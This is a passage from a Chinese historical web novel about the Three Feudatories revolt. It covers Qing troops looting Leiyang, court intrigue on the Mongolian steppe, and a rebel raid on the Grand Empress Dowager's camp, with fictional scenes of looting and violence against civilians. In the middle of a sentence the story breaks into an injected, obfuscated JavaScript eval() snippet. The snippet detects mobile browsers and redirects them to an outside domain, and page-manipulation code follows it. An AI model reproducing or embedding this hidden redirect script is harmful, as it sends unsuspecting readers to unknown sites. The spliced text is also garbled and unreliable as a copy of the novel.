比如,察尼攻岳州三月不下,不是城防坚固,而是他的副将收了贿赂,故意把炮口对准了空无一人的滩涂。 “不是他们能打,是咱们太烂。”张勇在保宁城外看着绿营兵攻破城门,叛军连像样的抵抗都没有,却在巷子里捡着八旗兵丢下的刀枪——那些刀枪上连铁锈都没磨掉,显然是从仓库里直接拖出来的。他想起杰书的信里写:“耿精忠的兵连四力弓都拉不开,可咱们的旗兵,竟被他们追得掉进了粪坑。” 寿春站在赣州城头的箭楼里,指尖捻着片被炮火烧焦的瓦砾。 楼下的厮杀声刚歇,清军正拖着三藩叛军的尸体往城外运,绿营兵的欢呼声混着伤兵的呻吟,在暮色里漫开。 她看了整整半日,从双方列阵到短兵相接,眉头却越皱越紧。 “这也配叫战争?”她低声对身边的富春说,语气里带着毫不掩饰的讥诮。 富春刚从战场回来,甲胄上还沾着血污:“姐姐这话怎讲?杰书在福建用了红衣炮,岳乐攻长沙时也轰开了城墙……” “攻城时用,野战呢?”寿春打断她,指向远处的丘陵,“方才叛军溃退,清军骑兵追了三里地,放了七轮箭,却没见一门炮动地方。是炮太沉拉不动?还是舍不得那□□?” 她从袖袋里掏出个小本子,上面记着半月来的见闻:吴军在岳州城外埋了十门土炮,却只在清军攻城时放了三响;绿营的火器营更可笑,士兵背着鸟铳冲锋,却把枪管当铁棍抡——“怕走火伤了自己人”,这是她亲耳听见的解释。 “重武器成了摆设。”寿春摩挲着本子上的字迹,“双方像街头混混打架,拼的是谁人多、谁手狠,而不是谁的炮更准、谁的火药更烈。”这点烈度,没什么好观摩的,还没海上打的狠。 正说着,远处传来一阵闷响,是清军在轰击赣州的西城门。 城砖簌簌往下掉,叛军在城头喊着“放箭”,箭矢像雨点般落在清军阵前。 可那门红衣炮,半个时辰才响一次,装填的火药还不足额,炮弹落在离城门丈远的地方,只溅起些尘土。 “朝廷的军械库,三年前就造了新式□□。”寿春自顾自想笑,“结果呢?还是用着顺治年间的老炮,连引信都得靠士兵用香火点。”真搞笑了,这就是正规军?大姐儿让我们避其锋芒,这还有锋芒? 富春想起前几日截获的清廷密令,上面写着“火器营操练宜缓,以防汉军造反”,不由得缩了缩脖子:“听说……皇上怕火器太利,将来不好控制。” “怕?”寿春猛地转身,眼里闪过锐光,“三藩之乱闹了这么久,吴三桂的兵能造土炮,郑经的船队有红衣炮,他倒好,还在琢磨‘控制’。”她想起传教士说“红毛夷的舰炮能打十里地”,想起大姐儿在山洞里藏着的大杀器,再看看眼前这场“弓马对砍”的战争,只觉得荒谬。 城下的厮杀又起,叛军冲出城门想夺清军的炮,却被绿营兵用长枪捅了回去。双方绞在一处,刀光剑影里,竟有士兵互相拉扯着滚进泥里,像孩童斗殴。 “看清了吗?这就是朝廷的军力。”寿春望着混乱的战场,语气平淡,“靠着人多,靠着绿营卖命,靠着三藩自己烂得更快,才能撑到现在。若真遇上像样的对手,这点家底,不够看的。” 她收起本子,转身往箭楼下走:“走吧,再看下去也是浪费时间。皇上不想把火力提上去,这战争就永远是场戏——热闹,却没什么真东西。” 暮色渐浓,赣州城的炮声又响了一次,依旧懒洋洋的。 两人的身影倏忽消失在楼梯拐角,只留下远处的喊杀声。 这声炮响,都像极了打哈欠。无聊至极,寿春心说。 这场席卷半个华夏的乱局,终究成了她眼里的笑话——不是因为三藩多不堪,而是因为朝廷本可以打得更漂亮,却偏要捂着拳头,用最笨的法子,耗着最不值钱的人命。 若非大姐儿强令她们不可轻举妄动,若非大姐儿有个皇后的身份,真想干脆反了丫的。 在外奔走的这些年,寿春也不再是当初赫舍里家二小姐的贴身丫头了。 秋雨又开始下,打在昆明的城楼上,溅起泥点。远处传来清军的炮声,不紧不慢,像在敲着催命鼓。 三藩的军队像群没头的苍蝇,却借着八旗的腐朽、宗室的无能,踉踉跄跄地撑到了现在。 只是谁都知道,这平衡维持不了多久——当绿营的铁蹄踏碎那些虚假的“抵抗”,当杰书、岳乐的刀锋刺穿最后的伪装,这些靠着内斗、摇摆、苟且支撑的城池,终究会像被雨水泡透的土墙,一推就塌。 84. 相持不下 衡州城外的官道上,尘土被烈日烤得发烫。安亲王岳乐的大军刚过,地面上还留着杂乱的马蹄印,混着被踩烂的稻穗——那是昨日八旗兵抢粮时,从附近大户家里拖出来的。 贫苦百姓跑光了,将士们也是要吃饭的,这些良善之民既然不曾走,又坐拥大片土地,自然要乐捐的。 “王爷,前面就是耒阳城了。”副将指着远处的城楼,脸上堆着笑,“探子说,城里的叛军早就跑了,只剩下些百姓和囤积的粮草。” 岳乐勒住马,鎏金的马鞍在阳光下晃眼。 他刚从长沙过来,奏报里写着“军纪严明,秋毫无犯”,可袖袋里还揣着昨日从乡绅那里“借”来的汉代金如意。 “粮草?”他扯了扯缰绳,语气漫不经心,“叛军跑了,粮草自然是‘缴获’,该入军库。” 副将心领神会,凑近了些:“军库的账,奴才已经让人改好了。耒阳的粮仓有五千石米,报上去三千石,剩下的……” “剩下的,分了。”岳乐打断他,目光扫过身后的八旗兵——这些人眼里哪有什么平叛的锐气,只盯着耒阳城的方向,喉结不住地滚动。 自打离开长沙,他们就没正经吃过饱饭,顿顿吃干粮,嘴里发苦,全靠沿途“搜刮”些好肉好酒打牙祭,因为意外的“坚壁清野”,一个又一个空村很难搜的到东西。 耒阳城的城门大开着,城楼上连个守军都没有。 只有几个老弱百姓缩在墙角,看着清军涌入,吓得瑟瑟发抖。 岳乐的亲兵直奔县衙,踹开各粮仓的门,白花花的大米堆得像小山,墙角还藏着几十坛酒,房梁上吊着腊肉。 “王爷,咱们今晚可以大宴!”亲兵拎着腊肉、抱着酒坛颠颠跑出来,脸上油光锃亮。 岳乐没动,只对副将道:“让人去报,就说耒阳遭遇叛军洗劫,粮草损毁过半,仅余一千石。”他顿了顿,补充道,“再写,我军追击叛军至城外,斩杀三百,需银五千两抚恤伤兵。” 副将笑着应了,转身就去改账册。 他心里清楚,“损毁的粮草”会被偷偷运去某些地方卖掉,“军功银”大半会落入王爷和自己等人口袋里。至于那“斩杀三百”,不过是把城外的不肯乐捐的叛逆尸体砍了脑袋充数。 城门口忽然吵了起来,镶白旗的佐领正把一个貌美民妇往马背上拖,民妇怀里的孩子哭得撕心裂肺。 “住手!”岳乐皱眉喝止,佐领慌忙跪下:“王爷,这妇人藏了银子……” “银子留下,人放了。”岳乐的声音冷下来,“别忘了,咱们要‘安抚百姓’。” 佐领悻悻地松手,把搜来的碎银揣进怀里,盯着那惶恐的妇人,眼里满是不甘——出了城,谁还真把“军纪”当回事,咱们晚上见! 入夜后,耒阳城里一片喧闹。 八旗兵在酒肆里划拳,把抢来的绸缎披在身上当戏服;亲兵们围着炭火烤肉,酒坛滚得满地都是;吃饱喝足就找大户人家去耍,想怎么耍就怎么耍,从北边跑到南边,脑袋绑在裤腰带上,不就为了这个么。 岳乐坐在县衙的正堂,看着副将送来的“分赃清单”:一千石五百石归自己,一千石分给各旗佐领,剩下的赏给士兵;腊肉和酒全吃了,还不够,那就找人乐捐,城中大户有的是。金银珠宝,让大户自己认捐,给的不够,就拿地契房契出来,跑马圈地多多益善。 “对了,”他忽然想起什么,“让绿营的人去城外扎营,今晚的酒肉没他们的份。”不仅是酒肉,还有搜刮,都没他们的份。 绿营是皇帝倚重的,可在他眼里,终究是汉人,不配分这“宗室的功勋”。 此时的乾清宫里,康熙正对着岳乐的奏报皱眉。“耒阳大捷,斩杀三百,缴获粮草一千石”——数字看着总觉得哪里不对。 梁九功低着头,不知怎么想的,居然道:“皇上,前线折子,向来如此。” 康熙没说话,指尖划过“安抚百姓”四个字,想起珠兰信里写的:“草原上的台吉,出了自己的草场就敢抢商队,宗室亲贵,怕也差不多。” 耒阳的夜色里,岳乐亲自洗掉碍眼的血迹,把一只造型精美的汉朝金玉如意翻来覆去的看,摩挲着背面的铭文好半天,才恋恋不舍的塞进袖袋。这小破地方,还有这么好的东西呢,带回去给杰书、福全看,必须好生炫耀一番。 隔着城头大门,传来外面绿营兵的咳嗽声,他们被安排在城外的荒地里,连口热汤都喝不上。 可这又如何? 出了城,皇帝的圣旨远不如手里的刀管用。 军功是自己的,银子是自己的,至于那些百姓的死活、朝廷的军饷,不过是账本上的数字。 绿营也比八旗不多一颗心,也没高尚到哪里去。因为分不到东西,他们就得自己去打、去抢,还得给八旗老爷们进贡。 要不,他们战斗力强呢,就内生驱动力强。 暗中观察的寿春对绿营极度失望,认为他们与八旗都是一丘之貉,这等旧军队根本不知为何而战,无论满汉,皆无区别。 第二日,清军拔营时,耒阳城的粮仓空了,豪宅被砸得稀烂,良善父老无声地落泪,自己跟泥腿子一个待遇了,这蛮夷就是蛮夷啊,一点不知道照顾咱们这些地头蛇嘛,以后咱们还能帮着统治乡巴佬呢,我们是顺民啊…… 现在好了,乡巴佬不知道跑哪里去了,咱们混成啥也没有的泥腿子,就剩下一条命和藏起来的棺材本了。 仇恨在各处发酵…… 岳乐骑在马上,回头望了眼城楼,嘴角勾起一抹冷笑——下一个城池,又能捞多少? 这场仗,打给谁看不重要。 重要的是,只要入了城,这东南的粮草、银子,就都是他的战利品。 皇帝在京里等着捷报,他在城内忙着发财,各取所需。 寿春坐在窗下,笔尖蘸着新磨的徽墨,信纸铺开时,还带着淡淡的檀香。 窗外的桃花开得正好,可她写下的字,却透着一股掩不住的沉郁。 “大姐儿,您是没见过衡州城外的光景。”她提笔写道,字迹娟秀却有力,“岳乐的兵过处,稻田被马蹄踏得像烂泥,乡绅的宅院门被劈成柴火,连尼姑庵的铜香炉都被撬走了。问他们为何抢,一个旗兵啐着酒气说‘出来打仗,不就为这个’——他们哪里知道什么叫平叛,只当是来南边‘捞油水’的。” 翻云会派来的眼线传回的消息不仅是这一路兵马的,她的指尖在纸上顿了顿:“好在,咱们去年就借着商路,把闽浙赣的贫苦百姓往南洋迁了十之七八。如今那些空村子,倒成了护命符——八旗兵想抓壮丁抓不着,想抢粮草只能望着空村骂娘。可城里的富户就遭了殃,耒阳的张员外,不过藏了两箱银子,就被指认是‘耿精忠的余党’,家产抄没,儿子被拉去当炮灰,儿媳……被几个兵痞拖进了巷子,是咱们的人救下来的,却还是寻了短见。” 信纸渐渐写满,寿春笔触越发急促:“原本那些只想保住家产的地主,现在拿出棺材本支援叛军,地主武装与三藩残兵混在了一起。前几日衢州的乡勇里,有个穿绸缎马褂的举人,喊着不共戴天冲在最前面。程岫说,这叫‘兔子急了咬人’——城外没东西可抢,八旗兵就盯着城里的富户,今日抄张家,明日抓李家,原本只想苟活的人,被逼得只能拿起刀。” 写到这里,她想起眼线描述的福州城:杰书的军队进城时,士绅们还捧着酒肉迎接,以为能换来庇护,结果不到三日,就被以“通敌”的罪名抄了二十多家。那些原本与耿精忠有仇的家族,此刻竟偷偷给残余的叛军送情报,只因为“清军比反贼还狠”。 “三藩的抵抗本就松散,吴三桂死了,耿精忠降了又叛没什么心气,尚可喜的儿子只顾着抢印信。可就因为这些八旗兵的洗劫,那些原本只想看戏的士绅,反倒成了三藩残兵的‘援军’。”寿春放下笔,望着窗外飘落的桃花瓣,觉得可笑——皇帝想平定叛乱,却养着一群只知劫掠的兵;将军们想立军功,却把本该争取的人,全推到了对立面。 “咱们转移的只是甘愿背井离乡的百姓,那些喜欢投机的富户,他们的家产都便宜了旁人。”她重新拿起笔,字迹里添了几分无奈,“这些人现在恨透了朝廷,怕是再难媾和了。原本能早早结束的仗,就因为这无休止的抢掠,只能拖下去。大姐儿,你说这叫什么事?为了发财而战,最后把自己逼进了死胡同。” 写完最后一个字,寿春将信纸吹干,折进信封。出门在外,都只想着自家发财,把速通局打成这样,着实了浪费了翻云会在三家王府的一番骚操作。 窗外的花还在落,东南的天,已被这场“不义之战”搅得一片狼藉。 那些被洗劫的城池,那些被逼反抗的大户士绅,都成了这场战争里最讽刺的注脚——原本可以共赢的棋局,终究被贪婪走成了死局。 此种情景,莫非珠兰提前便没有料到么。 赫舍里氏那些提前到了南方军中的子弟,可是没少收敛各处户籍、档案、资料等,基本都是从大火中抢出来的。旁人好笑,这等偏僻之处的文献有甚用处,不过废纸一张罢了,还不如收敛些地契以后换钱呢。 珠兰接了信后,并不意外。 打吧,打的东南再无士绅地主,后面才好施展。 今年的草黄得早,太皇太后裹着紫貂斗篷,坐在最前面的马车里,掀开帘子望出去,远处的山像头伏着的巨兽,雪顶蒙着层灰。 “额娘,前头都被端敏公主清干净了,咱们能歇脚的帐篷都备好了。”阿图手里捧着碗热奶茶,“这风大,您仔细别吹着。” 太皇太后接过奶茶,没喝,只盯着碗里的奶皮出神。 从承德出来,她们从漠南的科尔沁走到漠北的喀尔喀,如今又要往漠西去,像群没有归期的迁徙鸟。 车窗外,珠兰正看着阿日娜苏核对商队的账册,两人头凑在一起,不知在说些什么,偶尔传来珠兰的笑声,清凌凌的,倒比风还透亮。 “皇上的信又来了?”太皇太后忽然问。 阿图脸上的笑淡了些,从袖袋里摸出封信:“来了,承德派快马追了三天,说皇上在乾清宫发了火,说再不回京,就要亲自来接了。” 太皇太后接过信,看都没看就扔在案上。信纸上的字透过薄薄的宣纸渗出来,隐约能看见“京中诸事需祖母定夺”“天气转凉,草原苦寒”的字样,一笔一划都是皇帝的急。 “他急他的,哀家不急。”老太太呷了口奶茶,眼皮都没抬,“要回京可以,给哀家生个重孙子。不然,这草原,哀家还没看够呢。” 这话是老话儿,去年在京中就说过,如今一路从南到北,翻来覆去就这一句。 珠兰听了只笑,说“皇上日理万机,这事得看缘分”;病刚好些的太后急得直念佛,太皇太后不理会她。 傍晚歇在营地,皇帝的第八封信到了,这次竟附了张太医的脉案,说“皇后凤体康健,宜早诞育皇嗣,请速归”。 太皇太后把脉案往火盆里一扔,火星子溅起来,映着她眼里的固执:“皇后康健有什么用?这俩人又不是今年才康健的,后宫得有动静才算数。让他把那些奏折先放放,多想想正经事。” 南边的事儿老太太也听说了,诸多宗室求情的信件寄到了草原上。老太太嫌烦,不想回去听抱怨。 珠兰正好进来送夜宵,听见这话,笑着把刚烤好的奶饼放在案上:“皇祖母尝尝这个,漠北的□□稠,烤出来的饼格外香。” 她不提回京的事,也不说生皇子的事,只指着帐外,“公主带来的骑士在摔跤呢,说是给咱们解闷,您要不要去看看?” 太皇太后瞥了她一眼,珠兰这也不着急不起火的,哀家都要逼迫皇帝生庶长子了,她还是这般淡定。 甚至,她脸上的气色却比在承德时还好,透着股被草原风养出来的鲜活。 “看什么摔跤,一群野小子胡闹。”老太太嘴上嫌弃,却还是让阿图扶着,挪到帐门口。 月光下,护军营的小伙子正把一个喀尔喀骑士摔在地上,半裸的身躯上,汗水与月光一齐晃得人眼晕。 阿日娜苏站在一旁喝彩,手里还摇着本商路账册,倒像是在做什么正经事。 珠兰和雅图一起走到远处,两人有些话不想让老太太听。 雅图指指点点不晓得在说什么,珠兰捂着嘴笑,被风掀起的裙角像两朵绽开的花。 “你说雅图这丫头,被端敏带坏了,也爱这舞刀弄枪。”太皇太后忽然对身边的嬷嬷说,语气里说不清是怨还是叹。 嬷嬷笑着回话:“公主高兴就好,您看她把部落治理得多好,商路通了,牧民也安稳了。” 太皇太后没接话,望着远处的篝火,心里却明镜似的。 她不想回京城,哪是真为了等个重孙子。 南边打仗的八旗听说是烂得像堆泥,绿营的将领极有可能凭借此战也来一把功高盖主,如同当年的三藩旧事。 皇帝一边倚重汉人,一边又防着他们。 皇帝对勋贵、宗室,又何尝不是同样如此。 朝堂上的派系,斗得比南边还凶。也就葛布喇忠心耿耿,协助皇帝镇住了他们。 她留在草原,看似胡闹,实则也是在给皇帝腾地方——让他放手去整那些旧人闹出来的烂摊子。 “告诉皇上,”太皇太后转身回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240240|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帐,“什么时候后宫脉案上写着‘有孕’,哀家什么时候带着她们回銮。在此之前,让他管好自己的江山。” 帐外的风在吼,篝火噼啪作响。 珠兰望着太皇太后的帐门,对身边的吉雅笑了笑,“看来,咱们得多备些冬衣了,草原太冷。” 吉雅也笑,“那皇上的信……” “照实回。”珠兰望着天边的月亮,“就说,草原的冬天虽冷,却比京城清净,正好太皇太后与太后养身子。”大戏还没唱完,可不能这时候就回銮。 她知道太皇太后的心思,也懂皇帝的急。这场看似耍赖的拖延,不过是老太太用她的方式,争取一点时间,一点在江山与骨肉之间,慢慢平衡的时间。 第二天,要办正经事儿了。 “宣贵妃倒是越发能耐了。”太皇太后冷不丁开口,吓得旁边侍立的嬷嬷一哆嗦。 帐帘被掀开,寒风卷着沙砾闯进来,太皇太后却仿佛浑然不觉,只盯着帐外那抹宝蓝色的身影——阿日娜苏正拿着舆图,指点着几个漠北和漠西的小台吉划分牧场,侧脸在夕阳下透着股说一不二的锐气。 “皇额娘,这是皇上的意思。”阿图公主进来回话,手里捧着刚收到的信,“皇上说,漠西的草场不能总由咱们漠南独掌,分些权给其他旗,才好制衡。” “制衡?”太皇太后把信往案上一拍,信纸边角被风掀起,“他是嫌哀家在草原上太清闲,让宣贵妃来给哀家添堵!” 她太清楚了,阿日娜苏哪有这胆子?定是皇帝在背后授意。 先前说“生了重孙子才回銮”,不过是老太太的托词。 皇帝倒好,转头就撺掇阿日娜苏动博尔济吉特氏的根基,明摆着是告诉她:您不回,我就出招了。 “去,把宣贵妃叫来。” 阿日娜苏进来时,手里还攥着分地的文书,见老太太脸色不善,却依旧挺直了脊背:“皇祖母叫孙媳,是为了分地的事?” “哀家问你,这是不是皇上的意思?”太皇太后抬眼,目光像淬了雪。 阿日娜苏没隐瞒,坦然点头:“皇上说,草原要长治,就得一碗水端平。科尔沁独占太多,其他旗难免有怨,分些出去,反而安稳。” “安稳?”太皇太后冷笑,“哀家在科尔沁的时候,怎么不见他说要安稳?”她猛地站起身,因动作太急,腰间的玉坠撞在案角,发出清脆的响声。 阿日娜苏还想再说,却被珠兰悄悄拉了拉衣袖。 她见珠兰的神色沉重,便强行缓了一口气,走上前给太皇太后续了杯热茶:“祖母息怒,皇上许是怕草原上的事太繁杂,想替您分担些。” “分担?”太皇太后不看阿日娜苏,反而瞪了珠兰一眼,眼里的火气却消了些,“哀家知道你们小两口一条心,拿着这个傻丫头顶在前头。但科尔沁是两朝国母的娘家,这点体面都没了,将来你们在京里,腰杆也挺不直!” 珠兰没接话,只是安静地听着。她知道老太太这股气,不全是为了科尔沁,更是为了皇帝的“暗中吩咐”——孙儿用计谋对付祖母,这比分权本身更让她寒心。 从那天起,太皇太后像是跟谁较上了劲。 皇帝的信来了,她看都不看就扔给嬷嬷烧火;珠兰劝她“京里冬衣该备了”,她就说“草原的羊皮比宫里的绸缎暖和”。 第二日,太皇太后让人传了话给京城:“哀家在漠西找到了治疗太后旧疾的温泉,得留着陪她疗养。至于归期——等漠西的牧场分完了再说。” 这话传到乾清宫时,康熙正对着舆图发愁。梁九功看着皇帝捏皱的信纸,小声道:“皇上,太皇太后这是……真动气了。” 康熙望着窗外飘落的初雪,忽然叹了口气。老祖母与他,是有默契的。 而漠西的营帐里,太皇太后正看着珠兰送来的账本,上面记着阿日娜苏分出去的牧场——每一笔都清清楚楚,连牧民的户数都标得明明白白。 她冷哼一声,却在看到“博尔济吉特氏的草场仍占三成”时,指尖的力道松了些。 “告诉宣贵妃,”她对嬷嬷说,“分地可以,但得按哀家的规矩分。” 漠西的草场在秋日里铺展成一片金褐色的海,风过时,草浪推着准噶尔人遗留的残垣断壁,发出呜呜的声响。 太皇太后坐在临时搭起的毡帐前,手里捻着佛珠,目光却没落在远处牧民分草场的热闹里,只盯着帐前那丛开得正盛的野菊——那是珠兰今早特意采来的,说“添点生气”。 “老祖宗,皇上又派人送东西来了。”阿图公主捧着个锦盒进来,里面是件玄狐斗篷,衬里绣着精致的龙纹,“说漠西天冷,让您仔细身子。” 太皇太后瞥了眼斗篷,嘴角扯出个淡得看不见的笑:“他倒会做人。” 帐帘轻响,珠兰端着碗奶茶进来,闻言笑着接话:“皇上是记挂您。” 太皇太后哼了声,却没真动气,“他是怕博尔济吉特氏在漠西扎得太深,这孙儿,心眼子比草原的沙子还多。” 珠兰把奶茶放在老太太手边,目光扫过远处正与台吉们说话的阿日娜苏——宣贵妃腰间的玉带是皇帝新赏的,说话时总不自觉地摸一摸,那是在亮明身份。 再想想昨夜收到的信,康熙在里面抱怨“老祖宗总拿野菊当宝贝,京里的暖阁可比草场舒服”,字里行间的撒娇,哪有半分疏离? 她心里透亮,这祖孙俩哪是真闹别扭。 太皇太后说“要重孙子才回銮”,皇帝就派阿日娜苏来“分权”;太皇太后赌气说“漠西的野菊比宫里的牡丹香”,皇帝就巴巴地送斗篷、送暖炉。 看似针锋相对,实则是在演一场戏给旁人看——给那些宗室看,给那些盼着太后回宫主持大局的勋贵老人看,也给那些想借着祖孙不和生事的朝臣看。 “那边,商路的界碑立得差不多了。”珠兰转了话题,说起自己的正事,“漠西到漠北的驿站修好了十二处,开春就能通邮。” 太皇太后抬眼瞧她:“你这丫头,倒比皇上沉得住气,就不怕京里的位置被人占了?” “位置是皇上给的,心要是不在了,占着也没用。”珠兰笑了笑,指尖划过腕间的玉镯——那是她刚嫁入东宫时,太皇太后给的。 皇帝演他的“孝顺孙儿”,老太太演她的“执拗祖宗”,珠兰就在这戏台子底下铺她的路。 太皇太后捻着佛珠站起身,斗篷的流苏扫过草叶,风又起了,吹得野菊摇摇晃晃,却没吹倒那丛倔强的花。 就像这祖孙三代,看似各有各的心思,实则都在默契地推着同一盘棋——盘面上是草场、权力、战争,盘底下,是这大清江山,稳稳当当的未来。 85. 突然交战 漠西与漠南交界的草原,秋末的风已带着冰碴子。 王辅臣的骑兵裹着一身征尘,马蹄踏过结霜的草甸,在身后拖出长长的灰线。步兵在后面一路跟随,一路掉队。能跟来此处的,皆是强弩之末。 他勒住马时,嘴角裂出个渗血的笑——身后的追兵被甩了三天,八旗的步兵在草原上成了跛脚鸭,绿营的骑兵不敢孤军深入,只有端敏那支蒙古铁骑还在远处盘旋,却被他故意引向了相反的方向。 “将军,前面就是博尔济吉特氏的大营了。”副将指着远处的毡帐群,炊烟正从中央那顶最大的金顶帐升起,“探得清楚,太皇太后、太后都在,还有两位公主。” 王辅臣舔了舔干裂的嘴唇,端敏的蒙古骑兵像附骨之疽,银甲在落日里闪着催命的光;侧翼,绿营兵凿穿了他最后一道防线,昨日还跟着他喊“反清复明”的亲兵,此刻尸身正歪在宁夏的戈壁滩上。他已经没有别的选择了,亡命之徒罢了。 他勒住马,喉头涌上腥甜——从平凉突围时带的两万人,如今只剩不到三千,连最忠心的副将都在之前进入草原的阻击战中被一箭穿胸。 脸上血污已经干涸的校尉,指着远处炊烟袅袅的毡帐群,“大营四面,没看见多少守军。”一看就是老爷少爷兵,能偷懒就偷懒的那种。 王辅臣猛地抬头,眼里的绝望忽然被一种疯狂的火焰点燃。 他抽出腰间的刀,刀刃上的缺口映出他扭曲的脸:“降是死,战是死,不如拉几个金枝玉叶垫背!”只有抓住这些金贵人,他才能和朝廷谈条件。 调转马头,沙哑的吼声撕裂寒风,“弟兄们!抓了太皇太后,咱们就能活!冲——” 王军残兵像疯了的野兽,举着断矛破刀,朝着那片看似毫无防备的营地扑去。他们也别无选择,到了这个地步,顾不得前方是什么身份地位的人了。 毡帐里的暖意,在第一支箭矢射穿帐顶时骤然碎裂。 金顶帐内,太皇太后原本正让雅图给自己揉着肩,阿图在一旁讲着漠南的趣闻,太后捧着暖炉,刚说了句“珠兰和阿日娜苏那边该完事了吧”,帐外就传来震天的喊杀声。 那支带着倒钩的箭钉在离她指尖寸许的案上,箭羽还在嗡嗡震颤。 “怎么回事?”太皇太后猛地坐直,腰间的佛珠串“啪”地掉在地上。哀家,也没打过仗啊。 佟国纲麾下火器营士兵撞进帐来,甲胄上还沾着草屑:“回太皇太后,是王辅臣的叛军!我们被围住了!” 帐外的厮杀声已近在咫尺,雅图公主站起身,声音发颤却透着倔强:“护军营呢?让他们顶住!” “护军营……护军营被皇后娘娘留在漠西了,说那边分草场怕出乱子。”侍卫的声音带着哭腔,“我们只有火器营和科尔沁巴林部骑兵在此……” 太后惊恐的看向母后,若非当初为了草场之事赌气,她们也不会分开。 “护驾!护驾!”佟国纲的吼声从帐外传来,他手里的火枪还冒着烟,前方火器营士兵刚来得及列阵,就被王辅臣的骑兵冲得七零八落。科尔沁与巴林的骑兵勇敢上前接敌,但寡不敌众。毕竟,很多人还没穿戴甲胄。 “结阵!快结阵!”他嘶吼着推开身边的侍卫,亲自举起盾牌挡住迎面劈来的马刀,铁盾被砍得火星四溅,震得他虎口发麻。得亏不是晚上,否则非得营啸不可。 王辅臣:再等到晚上,怕是端敏就追上来了。 这是佟国纲第一次如此痛恨自己带的兵太少——一千火器营,半数在休憩,这会儿还在穿甲,忙活搬运弹药;五百科尔沁骑兵,是雅图公主带来的仪仗队,连马槊都没怎么用过;五百巴林骑兵,也是这么个德行。毕竟,可以信任的精锐都叫端敏带走了。 这里是草原,怎么会有敌人?佟国纲根本想不通。 王辅臣的人像饿狼,踩着同伴的尸体往前冲,有人翻身上马,竟直朝着中央的金顶帐撞来。 “火器营,开火!”佟国纲的声音劈了叉。 王辅臣的人马已冲到近前,箭矢像暴雨般射进营区,毡帐被点燃,火光舔着金顶,映得太皇太后的脸忽明忽暗。 太后吓得攥紧了太皇太后的手,阿图想往外冲,被苏麻喇姑死死拉住:“公主不能出去!火器营还能撑一阵!” 火枪的轰鸣声震得人耳鸣,可倒下的叛军很快被后面的人踩平,他们眼里的疯狂,比火药味更刺鼻。 佟国纲看见自己的亲卫被三杆长矛刺穿,看见营地外围的毡帐被点燃,火光里,叛军的嘶吼和妇孺的哭叫搅成一团。 他原本以为,准噶尔之战后便不会有大仗了,所以不像冯唐一般一直严格要求护军营。他带的是正经八旗兵,不是包衣奴才,不好往死里练的。结果,一下措手不及,就被王辅臣残军打崩了。这得死多少人,回去怎么跟皇上交代,他仿佛看见抬入满洲旗的梦想离他越来越远。 佟国纲的脑子飞速运转,不能把罪责往自己身上揽。 宁夏那边干什么呢,能把叛军放到北面来! 他们虽然也做了些防御准备,但是实在没想到会有叛军出没在此,有心算无心之下,装备优势发挥不出,实在也是守不住。对,就是这样。 金顶帐内,太皇太后拿起拐杖,又“哐当”砸在地上。她活了大半辈子,经历过刀光剑影,可从未像此刻这样,近距离接触战争。 帐外的厮杀声近得像在耳边,雅图公主抽出墙上的弯刀,手却抖得握不住,刀鞘撞在铜炉上,发出刺耳的响。 “雅图,你干什么去!”太皇太后厉声喝止,声音却掩不住发颤。 “儿去挡住他们!”雅图的脸惨白如纸,却梗着脖子往外冲,“不能让他们伤了额娘!” “回来!”太皇太后一把拉住她的衣袖,指节因为用力而泛白,“你出去有什么用?添乱吗!”话虽硬,她的眼神却慌了——这帐子像个脆弱的蛋壳,外面的野兽随时能把她们嚼碎。 太后早没了往日的端庄,紧紧攥着太皇太后的胳膊,指甲几乎掐进她的肉里。“额娘……珠兰呢?阿日娜苏呢?她们怎么还不回来?”她的声音带着哭腔,身子抖得像秋风里的叶子,“是不是……是不是我们都要死在这儿了?” 阿图公主扑在帐门口,望着外面倒下的侍卫,眼泪噼里啪啦往下掉:“佟将军!佟将军!快想想办法带我们走啊!”可回应她的,只有火枪的轰鸣和叛军越来越近的嚎叫。 慢慢的,帐内的空气凝固了,只剩下粗重的喘息和外面隐约的厮杀。太皇太后看着眼前的刀,看着瑟瑟发抖的女儿和儿媳,忽然觉得一阵天旋地转——她算计了一辈子,却没算到,会栽在老家。 这就是绝境了,她想。 王辅臣在帐外勒马,看着被围得水泄不通的金帐,外围的厮杀还在继续,但他忽然觉得蹊跷——这也太顺了。 从平凉突围,到甩开追兵,再到此刻围住这群最尊贵的人,简直像有人在前面铺路。可箭在弦上,他没时间细想,扬刀吼道:“太皇太后!出来答话!不然我一把火烧了这帐子!” 里面没动静,他挥刀劈开最后一道毡帘,冷笑着看向帐内。 这些日子被追得像条丧家犬,端敏的银枪几乎刺穿他的后心,绿营在宁夏断了他的粮道,连清廷的八旗败军都敢对着他的背影啐骂。 他本想投降, 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“快!钻进去!”他嘶吼着将太皇太后往布下推,老太太的朝珠勾住了布角,他手起刀落斩断流苏,将那串足以闪瞎人眼的东珠朝叛军方向扔去——“哐当”一声砸在地上,果然引走了几个贪财的乱兵。 “太后!快!”他又去拽人,这时候顾不上尊卑了。 这位病弱的太后早已吓得腿软,雅图公主咬着牙架起她,阿图跟在最后,华贵的袍角被地上的血污浸透。 佟国纲将四人都罩在帐篷布下,布太大,他索性用刀割成两半,自己披一半,让最壮实的两个侍卫各披一半,将四位主子护在中间,活像几头笨拙的草原牦牛。 “往西边杀!找马!”佟国纲的火枪早已没了弹药,他捡起地上的长矛,矛头还滴着血。 布下的太皇太后被他半拖半拽,拐杖早不知丢到了哪里,嘴里却还念叨着“雅图……阿图……”;太后死死攥着雅图的手,指甲掐得人生疼;阿图的哭声被布闷住,只剩呜咽。 叛军发现了这边有动静,箭矢像飞蝗般射来,扎在帐篷布上,发出“噗噗”的闷响。 一个侍卫为了护住太皇太后,后背中了三箭,闷哼一声倒在地上,鲜血瞬间染红了脚下的草。 “走!”佟国纲红着眼,长矛捅穿了一个叛军的喉咙,借着尸体的掩护,硬生生劈开一条血路。 